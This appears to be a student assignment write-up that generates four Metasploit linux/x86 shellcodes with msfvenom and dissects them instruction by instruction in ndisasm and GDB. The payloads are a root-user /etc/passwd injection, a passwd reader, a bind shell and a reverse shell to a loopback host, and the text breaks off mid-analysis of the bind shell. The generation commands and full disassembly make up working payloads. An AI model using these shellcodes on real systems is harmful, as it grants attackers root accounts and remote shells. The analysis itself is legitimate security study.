Assignment #5:
- Take up at least 3 shellcode samples created using msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis on each of the 3 shellcodes
=====================================================================
This assignment asks to analyze at least 3 shellcodes. Since there are bonuspoints for analyzing additional shellcodes, I'll analyze 4. The first thing to note is that msfpayload has been replaced with msfvenom, so we'll use msfvenom for this exercise.
For this assignment I'm using my Kali 2.0 machine to get some metasploit shellcodes:
First we list the available Linux exploits:
msfvenom -l | grep linux
linux/x86/adduser Create a new user with UID 0
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell
I've shortlisted the above exploits for this exercise. To get the shellcodes, I run the following commands:
msfvenom -p linux/x86/adduser -payload-options msfvenom -p linux/x86/adduser -f raw USER=jolly PASS=frogs | ndisasm -u - msfvenom -p linux/x86/adduser -f elf USER=jolly PASS=frogs > adduser
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E823000000 call dword 0x4e
0000002B 6A6F push byte +0x6f
0000002D 6C insb
0000002E 6C insb
0000002F 793A jns 0x6b
00000031 41 inc ecx
00000032 7A69 jpe 0x9d
00000034 7171 jno 0xa7
00000036 59 pop ecx
00000037 44 inc esp
00000038 7262 jc 0x9c
0000003A 4E dec esi
0000003B 6F outsd
0000003C 57 push edi
0000003D 323A xor bh,[edx]
0000003F 303A xor [edx],bh
00000041 303A xor [edx],bh
00000043 3A2F cmp ch,[edi]
00000045 3A2F cmp ch,[edi]
00000047 62696E bound ebp,[ecx+0x6e]
0000004A 2F das
0000004B 7368 jnc 0xb5
0000004D 0A598B or bl,[ecx-0x75]
00000050 51 push ecx
00000051 FC cld
00000052 6A04 push byte +0x4
00000054 58 pop eax
00000055 CD80 int 0x80
00000057 6A01 push byte +0x1
00000059 58 pop eax
0000005A CD80 int 0x80
msfvenom -p linux/x86/read_file -payload-options msfvenom -p linux/x86/read_file -f raw PATH=/etc/passwd | ndisasm -u - msfvenom -p linux/x86/read_file -f elf PATH=/etc/passwd > readfile
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
msfvenom -p linux/x86/shell_bind_tcp -payload-options msfvenom -p linux/x86/shell_bind_tcp -f raw LPORT=6666 | ndisasm -u - msfvenom -p linux/x86/shell_bind_tcp -f elf LPORT=6666 > bindtcp
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 6802001A0A push dword 0xa1a0002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
msfvenom -p linux/x86/shell_reverse_tcp2 -payload-options msfvenom -p linux/x86/shell_reverse_tcp2 -f raw LHOST=127.1.1.1 LPORT=6666 | ndisasm -u - msfvenom -p linux/x86/shell_reverse_tcp2 -f elf LHOST=127.1.1.1 LPORT=6666 > reversetcp
00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 43 inc ebx
00000004 53 push ebx
00000005 6A02 push byte +0x2
00000007 6A66 push byte +0x66
00000009 58 pop eax
0000000A 89E1 mov ecx,esp
0000000C CD80 int 0x80
0000000E 93 xchg eax,ebx
0000000F 59 pop ecx
00000010 B03F mov al,0x3f
00000012 CD80 int 0x80
00000014 49 dec ecx
00000015 79F9 jns 0x10
00000017 5B pop ebx
00000018 5A pop edx
00000019 687F010101 push dword 0x101017f
0000001E 66681A0A push word 0xa1a
00000022 43 inc ebx
00000023 6653 push bx
00000025 89E1 mov ecx,esp
00000027 B066 mov al,0x66
00000029 50 push eax
0000002A 51 push ecx
0000002B 53 push ebx
0000002C 89E1 mov ecx,esp
0000002E 43 inc ebx
0000002F CD80 int 0x80
00000031 52 push edx
00000032 682F2F7368 push dword 0x68732f2f
00000037 682F62696E push dword 0x6e69622f
0000003C 89E3 mov ebx,esp
0000003E 52 push edx
0000003F 53 push ebx
00000040 89E1 mov ecx,esp
00000042 B00B mov al,0xb
00000044 CD80 int 0x80
================================
We will analyze the codes one by one. I will show the effect that each instruction has on the registers and stack below the instructions. I'm using GDB to verify the registers and stack are as expected. I use a GDB trick to set a breakpoint at the very first address of execution with "break *0"
(gdb) set disassembly-flavor intel
(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
Starting program: /root/adduser2
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x0
(gdb) x/5i $pc
=> 0x8048054: xor ecx,ecx
0x8048056: mov ebx,ecx
0x8048058: push 0x46
0x804805a: pop eax
0x804805b: int 0x80
(gdb)
This seems to be our shellcode - Great! Let's analyze it! (btw we use "nexti" for the next instruction)
00000000 31C9 xor ecx,ecx
ECX = 00000000
STACK = <uninitialized>
00000002 89CB mov ebx,ecx
EBX = 00000000
ECX = 00000000
STACK = 46 00 00 00 <uninitialized>
00000004 6A46 push byte +0x46
EBX = 00000000
ECX = 00000000
STACK = 00000046
00000006 58 pop eax
EAX = 00000046
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
00000007 CD80 int 0x80
EAX = 00000046
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
Note: The INT 0x80 instruction is a syscall
Note: EAX stores the system call number which we can find as follows:
grep $((0x46)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_setreuid 70
man 2 setreuid
setreuid() sets real and effective user IDs of the calling process.
int setreuid(uid_t ruid, uid_t euid);
Return value: On success, zero is returned. On error, -1 is returned, and errno is set appropriately
Note: EBX and ECX are both zero, so the real userID is set to 0, and the effective userID is set to 0 as well
Note: The 0 user is the root user in Linux, so we're setting the effective and real user to root
Note: Effectively, this instruction is elevating the privileges to root user
00000009 6A05 push byte +0x5
EAX = 00000000 (Assuming that previous syscall succeeds)
EBX = 00000000
ECX = 00000000
STACK = 05 00 00 00 <uninitialized>
0000000B 58 pop eax
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
0000000C 31C9 xor ecx,ecx
Note: This instruction is not needed since ECX was already set to 00000000
Note: we could possibly reduce the size of this shellcode by 2 by removing this instruction
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
0000000E 51 push ecx
Note: The reason for pushing 00 on the stack is to NULL terminate the next string
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 00 00 00 00 <uninitialized>
0000000F 6873737764 push dword 0x64777373
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 73 73 77 64 00 00 00 00 <uninitialized>
00000014 682F2F7061 push dword 0x61702f2f
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000019 682F657463 push dword 0x6374652f
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
echo 2f6574632f2f70617373776400000000 | xxd -r -p
Note: The ascii text of stack now reads "/etc//passwd" terminated by a NULL char
0000001E 89E3 mov ebx,esp
EAX = 00000005
EBX = <points to stack>
ECX = 00000000
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000020 41 inc ecx
EAX = 00000005
EBX = <points to stack>
ECX = 00000001
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000021 B504 mov ch,0x4
EAX = 00000005
EBX = <points to stack>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000023 CD80 int 0x80
EAX = <file descriptor>
EBX = <points to stack>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
Note: Another syscall; number 5 this time
grep $((0x05)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_open 5
man 2 open
open, openat, creat - open and possibly create a file
int open(const char *pathname, int flags);
The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.
These request opening the file read-only, write-only, or read/write, respectively.
Note: *pathname = /etc//passwd
Note: int flags = 00000401
Note: We can find the flags with:
grep -r "O_RDWR" /usr/include/*
cat /usr/include/asm-generic/fcntl.h
#define O_ACCMODE 00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#define O_CREAT 00000100
#define O_EXCL 00000200
#define O_NOCTTY 00000400
#define O_TRUNC 00001000
Note: If we binary add up to 00000401 we get 400 + 001, which means the file is opened with flags O_NOCTTY and O_WRONLY
Note: The file is thus opened in WRITE ONLY mode and with NOCTTY.
man 2 open
O_NOCTTY: "If pathname refers to a terminal device--see tty(4)--it will not become the process's controlling terminal even if the process does not have one"
RETURN VALUE: open(), openat(), and creat() return the new file descriptor
00000025 93 xchg eax,ebx
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000026 E823000000 call dword 0x4e
Note: This is interesting, the program calls 0x0000004e but there is no instruction there, there's just 0x000000eD which is "or bl[ecx-0x75]
Note: Since this call calls the byte after the instruction, we will have to see what happens when we call the byte:
Note: \59 8B 51 FC 6A 04 58 CD 80 6A 01 58 CD 80
echo -n $'\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80′ | ndisasm -u -
00000000 59 pop ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04 push byte +0x4
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A01 push byte +0x1
0000000B 58 pop eax
0000000C CD80 int 0x80
Note: It seems this is normal code, and it starts with a POP, so the CALL is actually a simple JMP-CALL-POP without the initial JMP!
Note: The CALL return address (0000002B) will be stored in ECX after we pop it in the next command
Note: Since JMP-CALL-POP is often used to reference data, this next bit is likely data
6A6F6C6C793A417A697171594472624E6F57323A303A303A3A2F3A2F62696E2F73680A
echo 6A6F6C6C793A417A697171594472624E6F57323A303A303A3A2F3A2F62696E2F73680A | xxd -r -p
jolly:AziqqYDrbNoW2:0:0::/:/bin/sh
Note: Great, this is what will be added to /etc/passwd
Note: Since we're using a call to come to this bit of code in the middle of another instruction, I've redone this piece of code using:
echo -n $'\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80′ | ndisasm -u -
00000000 59 pop ecx
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
STACK = <4-byte pointer to jolly:AziqqYDrbNoW2:0:0::/:/bin/sh> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000001 8B51FC mov edx,[ecx-0x4]
Note: This is an elegant instruction. In order to understand it, we need to understand how CALLs work. When we use a CALL, the HEX code for this call will be: E8 followed by a relative 32bit address. So when we CALL, effectively we store the next address of the current EIP on the stack, and then jump forwards by XX bytes. The XX part is the length of the data from the CALL location to the CALL destination. In our case, everything that resides in between our CALL and our CALL destination is the string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh" (and the 0A termination character). Since ECX points to the instruction right after CALL, we can retrieve the 4 bytes prior to the ECX value which is the relative bits of the call instruction (E823000000) which is "23000000" and reversed due to little endian this is 00000023: The length!
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000004 6A04 push byte +0x4
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 04 00 00 00 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000006 58 pop eax
EAX = 00000004
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000007 CD80 int 0x80
Note: Another syscall; number 4 this time
grep $((0x04)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_write 4
man 2 write
ssize_t write(int fd, const void *buf, size_t count);
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd
RETURN VALUE = On success, the number of bytes written is returned (zero indicates nothing was written)
Note: Essentially: write("/etc/passwd","jolly:AziqqYDrbNoW2:0:0::/:/bin/sh",len("jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"))
00000009 6A01 push byte +0x1
EAX = 00000023
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 01 00 00 00 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
0000000B 58 pop eax
EAX = 00000001
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
0000000C CD80 int 0x80
Note: syscall 1 (sysexit)
================================
On to our second program: "readfile"
I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.
wget https://raw.githubusercontent.com/gdbinit/Gdbinit/master/gdbinit -O ~/.gdbinit gdb readfile
(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054: jmp 0x804808c
0x8048056: mov eax,0x5
0x804805b: pop ebx
0x804805c: xor ecx,ecx
0x804805e: int 0x80
(gdb)
00000000 EB36 jmp short 0x38
Note: JMP part of the JMP-CALL-POP
00000002 B805000000 mov eax,0x5
EAX = 00000005
00000007 5B pop ebx
Note: POP part of the JMP-CALL-POP
EAX = 00000005
EBX = <pointer to "/etc/passwd%00">
00000008 31C9 xor ecx,ecx
EAX = 00000005
EBX = <pointer to "/etc/passwd%00">
ECX = 00000000
0000000A CD80 int 0x80
Note: Another syscall; number 5 this time
grep $((0x05)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_open 5
man 2 open
"open, openat, creat - open and possibly create a file"
int open(const char *pathname, int flags);
The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.
These request opening the file read-only, write-only, or read/write, respectively.
Note: *pathname = /etc/passwd%00
Note: int flags = 00000000
Note: We can find the flags with:
grep -r "O_RDWR" /usr/include/*
cat /usr/include/asm-generic/fcntl.h
#define O_ACCMODE 00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#define O_CREAT 00000100
#define O_EXCL 00000200
#define O_NOCTTY 00000400
#define O_TRUNC 00001000
RETURN VALUE: open(), openat(), and creat() return the new file descriptor
Note: The file is thus opened in RDONLY mode (read-only)
0000000C 89C3 mov ebx,eax
EAX = </etc/passwd file descriptor>
EBX = </etc/passwd file descriptor>
ECX = 00000000
0000000E B803000000 mov eax,0x3
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = 00000000
00000013 89E7 mov edi,esp
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = 00000000
EDI = <pointer to top of stack>
00000015 89F9 mov ecx,edi
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack>
EDI = <pointer to top of stack>
00000017 BA00100000 mov edx,0x1000
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack>
EDX = 00001000 (the size of a page file)
EDI = <pointer to top of stack>
0000001C CD80 int 0x80
Note: Another syscall; number 3 this time
grep $((0x03)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_read 3
man 2 read
"ssize_t read(int fd, void *buf, size_t count);"
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
0000001E 89C2 mov edx,eax
EAX = <number of bytes read>
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
00000020 B804000000 mov eax,0x4
EAX = 00000004
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
00000025 BB01000000 mov ebx,0x1
EAX = 00000004
EBX = 00000001
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
0000002A CD80 int 0x80
Note: Another syscall; number 4 this time
grep $((0x04)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_write 4
man 2 write
"ssize_t write(int fd, const void *buf, size_t count);"
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd
RETURN VALUE = On success, the number of bytes written is returned (zero indicates nothing was written)
Note: Essentially: write(stdout,*(first 4096 characters of /etc/passwd),len(total chars read))
0000002C B801000000 mov eax,0x1
Note: set syscall to 1 (exit)
00000031 BB00000000 mov ebx,0x0
Note: set exit status 0
00000036 CD80 int 0x80
Note: syscall(1) = exit with status 0
00000038 E8C5FFFFFF call dword 0x2
Note: CALL part of the JMP-CALL-POP
Note: Anything below this is data from JMP-CALL-POP technique
2F6574632F70617373776400
echo 2F6574632F70617373776400 | xxd -r -p
/etc/passwd%00
================================
On to our third program: bindtcp!
I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.
wget https://raw.githubusercontent.com/gdbinit/Gdbinit/master/gdbinit -O ~/.gdbinit gdb bindtcp
(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054: jmp 0x804808c
0x8048056: mov eax,0x5
0x804805b: pop ebx
0x804805c: xor ecx,ecx
0x804805e: int 0x80
(gdb)
00000000 31DB xor ebx,ebx
EBX = 00000000
Stack = <uninitialized>
00000002 F7E3 mul ebx
EAX = 00000000
EBX = 00000000
EDX = 00000000
Stack = <uninitialized>
00000004 53 push ebx
EAX = 00000000
EBX = 00000000
EDX = 00000000
Stack = 00 00 00 00 <uninitialized>
00000005 43 inc ebx
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 00 00 00 00 <uninitialized>
00000006 53 push ebx
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000007 6A02 push byte +0x2
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
00000009 89E1 mov ecx,esp
EAX = 00000000
EBX = 00000001
ECX = <pointer to "02 00 00 00 01 00 00 00 00 00 00 00">
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
0000000B B066 mov al,0x66
EAX = 00000066
EBX = 00000001
ECX = <pointer to "02 00 00 00 01 00 00 00 00 00 00 00″>
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
0000000D CD80 int 0x80
EAX = 00000066
EBX = 00000001
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
RETURN VALUE = On success, a file descriptor for the new socket is returned
Note: Effectively: Socketcall(Socket, 2 1 0)
0000000F 5B pop ebx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000010 5E pop esi
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 <uninitialized>
00000011 52 push edx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 00 00 00 00 <uninitialized>
00000012 6802001A0A push dword 0xa1a0002
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000017 6A10 push byte +0x10
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000019 51 push ecx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)>
EDX = 00000000
ESI = 00000001
Stack = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000001A 50 push eax
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000001B 89E1 mov ecx,esp
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000001D 6A66 push byte +0x66
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = 66 00 00 00 <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000001F 58 pop eax
EAX = 00000066
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000020 CD80 int 0x80
EAX = 00000066
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
RETURN VALUE: On success, zero is returned
Note: Effectively: Socketcall(Bind(sockfd,*sockaddr,10))
00000022 894104 mov [ecx+0x4],eax
EAX = 00000000
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000025 B304 mov bl,0x4
EAX = 00000000
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000027 B066 mov al,0x66
EAX = 00000066
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000029 CD80 int 0x80
EAX = 00000066
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
RETURN VALUE: On success, zero is returned
Note: Effectively: Socketcall(Listen(sockfd %00, 0))
0000002B 43 inc ebx
EAX = 00000000
EBX = 00000005
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000002C B066 mov al,0x66
EAX = 00000066
EBX = 00000005
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000002E CD80 int 0x80
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
RETURN VALUE :On success return a nonnegative integer that is a descriptor for the accepted socket
Note: Effectively: Socketcall(Accept(sockfd, {0}, 10))
00000030 93 xchg eax,ebx
EAX = 00000005
EBX = <fd to accepted socket>
ECX = <pointer to <uninitialized + 24">
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000031 59 pop ecx
EAX = 00000005
EBX = <fd to accepted socket>
ECX = <4 byte fd to new socket> = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000032 6A3F push byte +0x3f
EAX = 00000005
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 3F 00 00 00 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000034 58 pop eax
EAX = 0000003F
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000035 CD80 int 0x80
EAX = 0000003F
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
grep $((0x3f)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_dup2 63
int dup2(int oldfd, int newfd);
Copy the STDERR (and later STDOUT and STDIN via repeat loop jns 0x32) to the accepted socket
00000037 49 dec ecx
EAX = 00000000
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000038 79F8 jns 0x32
Note: Keep lowering ECX and DUP2'ing until ECX is decreased past zero (FFFFFFFF)
0000003A 682F2F7368 push dword 0x68732f2f
EAX = 00000000
EBX = <fd to accepted socket>
